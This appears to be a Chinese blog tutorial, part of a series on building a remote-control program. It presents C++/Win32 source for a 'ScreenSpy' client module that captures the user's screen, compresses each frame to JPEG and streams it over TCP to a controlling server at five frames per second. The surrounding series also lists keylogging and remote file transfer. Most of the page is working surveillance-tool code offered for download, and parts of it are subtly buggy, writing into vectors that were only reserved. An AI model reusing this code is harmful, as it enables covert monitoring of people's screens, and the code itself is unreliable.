从零开始做远控 第五篇 屏幕监控
来源:互联网 发布:企业网络搭建试题 编辑:程序博客网 时间:2024/06/03 06:33
如果你从没看过这系列教程请点击:从零开始做远控 简介篇
我们来到进阶课程了,我们这一节主要是讲客户端的,我们将会编写从客户端截取屏幕,然后用JEPG压缩它,最后发给服务端,形成一个动态画面。
1.首先我们要下载个:jpeg压缩库,然后把它放到ZeroClient的目录,最后在.pro文件路加入库文件:LIBS += $${PWD}\jpeg\libjpeg.lib
2.在.pro文件路加入库文件:LIBS += -lgdi32,来使用win32图形库
ScreenSpy类:
1.新建一个ScreenSpy类,主要是用来创建新线程,连接至服务端,然后向服务端实时发送自己的屏幕截图。
2.截图函数captureScreen()。
bool ScreenSpy::captureScreen(std::vector<unsigned char> &bmpData){ // 锁定函数,其他线程不能进来 EnterCriticalSection(&gCs); HBITMAP hBitmap; // 得到屏幕设备 HDC hScrDC = CreateDCA(_T("DISPLAY"),NULL,NULL,NULL); if(!hScrDC) { std::cout << "Failed to get screen device" << std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } // 创建新的设备 HDC hRamDC = CreateCompatibleDC(hScrDC); if(!hRamDC) { std::cout << "Failed to create device" << std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } // 设置图片大小 unsigned int iByte = 3; unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN); unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN); unsigned int iBmpSize = iWidth * iHeigth * iByte; if(iWidth == 1366) { iWidth = 1360; } // 创建位图 BITMAPINFOHEADER bmpInfoHeader; BITMAPINFO bmpInfo; void *p; bmpInfoHeader.biSize = sizeof(BITMAPINFOHEADER); bmpInfoHeader.biBitCount = 32; bmpInfoHeader.biPlanes = 1; bmpInfoHeader.biCompression = BI_RGB; bmpInfoHeader.biWidth = iWidth; bmpInfoHeader.biHeight = iHeigth; bmpInfo.bmiHeader = bmpInfoHeader; // 获取位图 hBitmap = CreateDIBSection(hScrDC,&bmpInfo,DIB_RGB_COLORS,&p,NULL,0); if(!hBitmap) { std::cout << "Failed to CreateDIBSection" << std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } // 绑定设备与对象 HBITMAP hBitmapOld; hBitmapOld = (HBITMAP)SelectObject(hRamDC,hBitmap); // 把屏幕复制到新申请的设备上 StretchBlt(hRamDC,0,0,iWidth,iHeigth,hScrDC,0,0,iWidth,iHeigth,SRCCOPY); // 复制图片到内存空间 bmpData.reserve(iBmpSize); HDC hTmpDC = GetDC(NULL); hBitmap = (HBITMAP)SelectObject(hRamDC,hBitmapOld); bmpInfoHeader.biBitCount = 24; int iError = GetDIBits(hTmpDC,hBitmap,0,iHeigth,bmpData.data(),(BITMAPINFO *)&bmpInfoHeader,DIB_RGB_COLORS); if(!iError) { std::cout << "Failed to GetDIBits" << std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } // 释放设备与对象 DeleteDC(hScrDC); DeleteDC(hRamDC); DeleteObject(hBitmapOld); DeleteDC(hTmpDC); DeleteObject(hBitmap); // 解除函数锁定 LeaveCriticalSection(&gCs); return true;}
3.压缩函数convertToJpgData()。
bool ScreenSpy::convertToJpgData(const std::vector<unsigned char> &bmpData, std::vector<unsigned char> &jpgData){ // 锁定函数,其他线程不能进来 EnterCriticalSection(&gCs); // 设置图片大小 unsigned int iByte = 3; unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN); unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN); unsigned int iBmpSize = iWidth * iHeigth * iByte; if(iWidth == 1366) { iWidth = 1360; } // 由於bitmap和jpg的儲存方式是相反,所以要把他反過來 // 例如: rgb: 1 2 3 -> 9 8 7 // 4 5 6 -> 6 5 4 // 7 8 9 -> 3 2 1 const unsigned char *bmp = bmpData.data(); std::vector<unsigned char> convertedBmp; convertedBmp.reserve(iBmpSize); unsigned char *cBmp = (unsigned char*)convertedBmp.data(); for(unsigned int i = 0,j;i < iHeigth;i ++) { for(j = 0;j < iWidth;j ++) { cBmp[i * iWidth * iByte + j * 3] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 2]; cBmp[i * iWidth * iByte + j * 3 + 1] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 1]; cBmp[i * iWidth * iByte + j * 3 + 2] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte]; } } // 设置jpg结构 struct jpeg_compress_struct jcs; struct jpeg_error_mgr jem; jcs.err = jpeg_std_error(&jem); jpeg_create_compress(&jcs); // 设置输出配置 jcs.image_height = iHeigth; jcs.image_width = iWidth; jcs.input_components = iByte; jcs.in_color_space = JCS_RGB; jpeg_set_defaults(&jcs); // 设置压缩质量 const int quality = 30; // 越大越好,越小越差,你可以自己设置 jpeg_set_quality(&jcs, quality, TRUE); // 设置输出文件(临时文件来的,名字随便设置) const std::string fileName= "zero_client_screen_capture.tmp"; FILE *fp = fopen(fileName.data(),"wb+"); if (!fp) { std::cout << "Failed to create file " << fileName << " error:" << ferror(fp) <<std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } jpeg_stdio_dest(&jcs,fp); // 开始压缩 jpeg_start_compress(&jcs,TRUE); JSAMPROW jr; while(jcs.next_scanline < iHeigth) { jr = &cBmp[jcs.next_scanline * iWidth * iByte]; jpeg_write_scanlines(&jcs,&jr,1); } // 释放 jpeg_finish_compress(&jcs); jpeg_destroy_compress(&jcs); fclose(fp); // 读取压缩好的数据 FILE *fpIn = fopen(fileName.data(),"rb"); if(!fpIn) { std::cout << "Failed to read file " << fileName << " error:" << ferror(fp) <<std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } // 获取jpg文件大小 fseek(fpIn,0,SEEK_END); size_t iLen = ftell(fpIn); rewind(fpIn); // 读取 jpgData.reserve(iLen); fread(jpgData.data(), iLen , 1 ,fpIn); // 释放 fclose(fpIn); // 删除临时文件 DeleteFileA(fileName.data()); // 解除函数锁定 LeaveCriticalSection(&gCs); return true;}
4.定义通讯协议
// 数据头
typedef struct { unsigned int len; // jpg文件大小} ScreenSpyHead;
代码:
ScreenSpy.h
/* * * Author: sumkee911@gmail.com * Date: 21-12-2016 * Brief: 从客户端截取屏幕,然后用JEPG压缩它,最后发给服务端,形成一个动态画面。 * */#ifndef SCREENSPY_H#define SCREENSPY_H#include "tcpsocket.h"#include <windows.h>#include <iostream>#include <fstream>#include <vector>#include <tchar.h>// 加入jpeg压缩库头文件extern "C" {#include "jpeg/jpeglib.h"#include "jpeg/jmorecfg.h"#include "jpeg/jconfig.h"}class ScreenSpy{public: ScreenSpy(); ~ScreenSpy(); // 屏幕处理函数 static bool captureScreen(std::vector<unsigned char> &bmpData); static unsigned int convertToJpgData(const std::vector<unsigned char> &bmpData, std::vector<unsigned char> &jpgData); // 数据头 typedef struct { unsigned int len; // jpg文件大小 } ScreenSpyHeader; // 这个类的入口函数,是从另一个线程开启。 static void startByNewThread(std::string domain, int port); static DWORD WINAPI threadProc(LPVOID args); // 连接到服务端指定的端口给它发送屏幕截图 static void startScreenSpy(std::string domain, int port); static bool sendScreenData(TcpSocket *sock, std::vector<unsigned char> &jpg, unsigned int len);};#endif // SCREENSPY_H
ScreenSpy.cpp
#include "screenspy.h"// 互挤体,用来确保线程安全static CRITICAL_SECTION gCs;// 初始化类static ScreenSpy spy;ScreenSpy::ScreenSpy(){ // 初始化互挤体 InitializeCriticalSection(&gCs);}ScreenSpy::~ScreenSpy(){ // 删除互挤体 DeleteCriticalSection(&gCs);}bool ScreenSpy::captureScreen(std::vector<unsigned char> &bmpData){ // 锁定函数,其他线程不能进来 EnterCriticalSection(&gCs); HBITMAP hBitmap; // 得到屏幕设备 HDC hScrDC = CreateDCA(_T("DISPLAY"),NULL,NULL,NULL); if(!hScrDC) { std::cout << "Failed to get screen device" << std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } // 创建新的设备 HDC hRamDC = CreateCompatibleDC(hScrDC); if(!hRamDC) { std::cout << "Failed to create device" << std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } // 设置图片大小 unsigned int iByte = 3; unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN); unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN); unsigned int iBmpSize = iWidth * iHeigth * iByte; if(iWidth == 1366) { iWidth = 1360; } // 创建位图 BITMAPINFOHEADER bmpInfoHeader; BITMAPINFO bmpInfo; void *p; bmpInfoHeader.biSize = sizeof(BITMAPINFOHEADER); bmpInfoHeader.biBitCount = 32; bmpInfoHeader.biPlanes = 1; bmpInfoHeader.biCompression = BI_RGB; bmpInfoHeader.biWidth = iWidth; bmpInfoHeader.biHeight = iHeigth; bmpInfo.bmiHeader = bmpInfoHeader; // 获取位图 hBitmap = CreateDIBSection(hScrDC,&bmpInfo,DIB_RGB_COLORS,&p,NULL,0); if(!hBitmap) { std::cout << "Failed to CreateDIBSection" << std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } // 绑定设备与对象 HBITMAP hBitmapOld; hBitmapOld = (HBITMAP)SelectObject(hRamDC,hBitmap); // 把屏幕复制到新申请的设备上 StretchBlt(hRamDC,0,0,iWidth,iHeigth,hScrDC,0,0,iWidth,iHeigth,SRCCOPY); // 复制图片到内存空间 bmpData.reserve(iBmpSize); HDC hTmpDC = GetDC(NULL); hBitmap = (HBITMAP)SelectObject(hRamDC,hBitmapOld); bmpInfoHeader.biBitCount = 24; int iError = GetDIBits(hTmpDC,hBitmap,0,iHeigth,bmpData.data(),(BITMAPINFO *)&bmpInfoHeader,DIB_RGB_COLORS); if(!iError) { std::cout << "Failed to GetDIBits" << std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return false; } // 释放设备与对象 DeleteDC(hScrDC); DeleteDC(hRamDC); DeleteObject(hBitmapOld); DeleteDC(hTmpDC); DeleteObject(hBitmap); // 解除函数锁定 LeaveCriticalSection(&gCs); return true;}unsigned int ScreenSpy::convertToJpgData(const std::vector<unsigned char> &bmpData, std::vector<unsigned char> &jpgData){ // 锁定函数,其他线程不能进来 EnterCriticalSection(&gCs); // 设置图片大小 unsigned int iByte = 3; unsigned int iWidth = GetSystemMetrics(SM_CXSCREEN); unsigned int iHeigth = GetSystemMetrics(SM_CYSCREEN); unsigned int iBmpSize = iWidth * iHeigth * iByte; if(iWidth == 1366) { iWidth = 1360; } // 由於bitmap和jpg的儲存方式是相反,所以要把他反過來 // 例如: rgb: 1 2 3 -> 9 8 7 // 4 5 6 -> 6 5 4 // 7 8 9 -> 3 2 1 const unsigned char *bmp = bmpData.data(); std::vector<unsigned char> convertedBmp; convertedBmp.reserve(iBmpSize); unsigned char *cBmp = (unsigned char*)convertedBmp.data(); for(unsigned int i = 0,j;i < iHeigth;i ++) { for(j = 0;j < iWidth;j ++) { cBmp[i * iWidth * iByte + j * 3] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 2]; cBmp[i * iWidth * iByte + j * 3 + 1] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte + 1]; cBmp[i * iWidth * iByte + j * 3 + 2] = bmp[(iHeigth - i - 1) * iWidth * iByte + j * iByte]; } } // 设置jpg结构 struct jpeg_compress_struct jcs; struct jpeg_error_mgr jem; jcs.err = jpeg_std_error(&jem); jpeg_create_compress(&jcs); // 设置输出配置 jcs.image_height = iHeigth; jcs.image_width = iWidth; jcs.input_components = iByte; jcs.in_color_space = JCS_RGB; jpeg_set_defaults(&jcs); // 设置压缩质量 const int quality = 30; // 越大越好,越小越差,你可以自己设置 jpeg_set_quality(&jcs, quality, TRUE); // 设置输出文件(临时文件来的,名字随便设置) const std::string fileName= "zero_client_screen_capture.tmp"; FILE *fp = fopen(fileName.data(),"wb+"); if (!fp) { std::cout << "Failed to create file " << fileName << " error:" << ferror(fp) <<std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return 0; } jpeg_stdio_dest(&jcs,fp); // 开始压缩 jpeg_start_compress(&jcs,TRUE); JSAMPROW jr; while(jcs.next_scanline < iHeigth) { jr = &cBmp[jcs.next_scanline * iWidth * iByte]; jpeg_write_scanlines(&jcs,&jr,1); } // 释放 jpeg_finish_compress(&jcs); jpeg_destroy_compress(&jcs); fclose(fp); // 读取压缩好的数据 FILE *fpIn = fopen(fileName.data(),"rb+"); if(!fpIn) { std::cout << "Failed to read file " << fileName << " error:" << ferror(fp) <<std::endl; std::fflush(stdout); // 解除函数锁定 LeaveCriticalSection(&gCs); return 0; } // 获取jpg文件大小 fseek(fpIn,0,SEEK_END); size_t iLen = ftell(fpIn); rewind(fpIn); // 读取 jpgData.reserve(iLen); fread((unsigned char*)jpgData.data() , 1 , iLen ,fpIn); // 释放 fclose(fpIn); // 删除临时文件 DeleteFileA(fileName.data()); // 解除函数锁定 LeaveCriticalSection(&gCs); return iLen;}void ScreenSpy::startByNewThread(std::string domain, int port){ // 将域名和端口数据转换成一个字符指针类型 char *args = new char[MAX_PATH+sizeof(int)]; domain.reserve(MAX_PATH); memcpy(args,domain.data(), MAX_PATH); memcpy(args+MAX_PATH,(char*)&port, sizeof(int)); // 创建新线程 HANDLE h = CreateThread(NULL,0,ScreenSpy::threadProc,(LPVOID)args,0,NULL); if (!h) { std::cout << "Failed to create new thread" << std::endl; std::fflush(stdout); }}DWORD WINAPI ScreenSpy::threadProc(LPVOID args){ char domain[MAX_PATH]; memcpy(domain, args, MAX_PATH); int port = *((int*)((char*)args+MAX_PATH)); startScreenSpy(domain, port); // 释放参数 delete (char *)args; return 0;}void ScreenSpy::startScreenSpy(std::string domain, int port){ // 创建socket并连接至服务端 TcpSocket sock; if (!sock.connectTo(domain, port)) { std::cout << "Failed to connect screen spy server " << domain << ":" << port << std::endl; std::fflush(stdout); return; } // 开始监控消息 std::cout << "Started screen spy" << std::endl; std::fflush(stdout); // 开始传送数据 const int fps = 5; // 每秒帧度,你能自己设置 do { Sleep(1000/fps); // 截取屏幕,再把它转换成jpg格式 std::vector<unsigned char> bmp, jpg; if (!captureScreen(bmp)) { sock.dissconnect(); break; } unsigned int len = 0; if ((len = convertToJpgData(bmp, jpg)) == 0) { sock.dissconnect(); break; } // 发送数据 if (!sendScreenData(&sock, jpg, len)) { break; } } while (1); // 完成 std::cout << "Finished screen spy" << std::endl; std::fflush(stdout);}bool ScreenSpy::sendScreenData(TcpSocket *sock, std::vector<unsigned char> &jpg,unsigned int len){ // 发送头包 ScreenSpyHeader header; header.len = len; if (!sock->sendData((char*)&header, sizeof(ScreenSpyHeader))) { return false; } // 发送jpg数据包,包大小每次最好少于1000,我这里定义800 const unsigned int paketLen = 800; char *data = (char *)jpg.data(); unsigned int pos = 0; while (pos < len) { int sendSize = (pos+paketLen) > len ? len-pos : paketLen; if (!sock->sendData(data+pos, sendSize)) { return false; } pos += sendSize; } return true;}
5.最后在ZeroClient类里修改doScreenSpy函数来响应屏幕监控命令
void ZeroClient::doScreenSpy(std::map<std::string, std::string> &args){ // 开始监控屏幕 ScreenSpy::startByNewThread(mSock.mIp, atoi(args["PORT"].data()));}
本节完整代码:
对上节作出的修改:
1.把ZeroClient项目里TcpSocket类里的私有变量mIp,mPort移动到了公有变量
下载完整代码
1 0
- 从零开始做远控 第五篇 屏幕监控
- 从零开始做远控 第六篇 屏幕监控
- 从零开始做远控 第七篇 键盘监控
- 从零开始做远控 第八篇 键盘监控
- 从零开始学GitHub【第五篇】
- 屏幕监控
- 从零开始做远控 第九篇 文件监控之查找/删除/下载/上传
- 从零开始做远控 第十篇 文件监控之查找/删除/下载/上传
- 从零开始做远控 第二篇
- 从零开始做远控 第三篇
- 从零开始做远控 第四篇
- 屏幕监控编程
- 高效屏幕监控
- IOS 监控屏幕旋转
- java实现屏幕监控
- [iOS]监控屏幕旋转
- 8Qt屏幕监控
- 第五章:MongoDB性能监控
- win64 IDEA meaven 配置安装Thrift自动生成代码到目录
- docker 集群网络规划与 VM 网络配置
- 动画黄金搭档:CADisplayLink & CAShapeLayer
- MYSQL运维与分析--使用帮助help
- 数字排列
- 从零开始做远控 第五篇 屏幕监控
- ora-12545:因目标主机或对象不存在
- myeclipse 自定义视图Customize Perspective 没有反应
- Activity的生命周期及异常情况分析
- 证书算法
- https升级指南
- MySQL 5.6 for Windows 免安装版配置(mysql-5.6.34-winx64.zip)
- Java中的字符串比较相等与大小
- [Hadoop]输入路径过滤,通配符与PathFilter